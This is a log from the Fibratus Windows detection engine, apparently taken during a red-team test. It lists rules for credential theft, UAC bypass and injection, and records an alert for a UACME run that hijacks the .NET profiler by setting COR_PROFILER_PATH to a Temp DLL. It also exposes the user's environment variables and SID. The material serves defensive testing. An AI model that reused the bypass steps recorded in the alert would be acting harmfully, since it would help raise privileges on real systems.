C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:09:57+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T21:09:57+01:00 level=info msg=bootstrapping with pid 14176. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:09:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true port=>25 content-type=>text/html enabled=>false to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-dns=>false enable-registry=>true flush-interval=>1s enable-fileio=>true enable-threadpool=>false max-buffers=>36 buffer-size=>512 enable-thread=>true enable-mem=>false enable-handle=>false enable-image=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-audit-api=>true stack-enrichment=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text log-stdout=>true level=>info max-age=>0 max-backups=>15] + output ......................... [ amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false exchange=>fibratus enabled=>false timeout=>5s passive=>false durable=>false delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/ routing-key=>fibratus] elasticsearch=>[ flush-period=>1s sniff=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck=>true enabled=>false timeout=>5s bulk-workers=>1 healthcheck-interval=>10s index-name=>fibratus healthcheck-timeout=>5s trace-log=>false] http=>[ enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false serializer=>json timeout=>5s endpoints=>[] method=>POST] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-files=>false enabled=>false excluded-procs=>[] fastscan=>true skip-allocs=>false skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:09:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:10:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:10:09+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: |C:\Users\nedo\AppData\Local\Temp\pe386.dll| + Event(s): + Seq: 6630818 + Pid: 18920 + Tid: 10920 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 21:10:04.5034823 +0100 CET + Params: dataâžœ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handleâžœ ffffce86483ae1b0, key_pathâžœ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 18920 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T21:10:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:10:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:10:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:11:02+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading 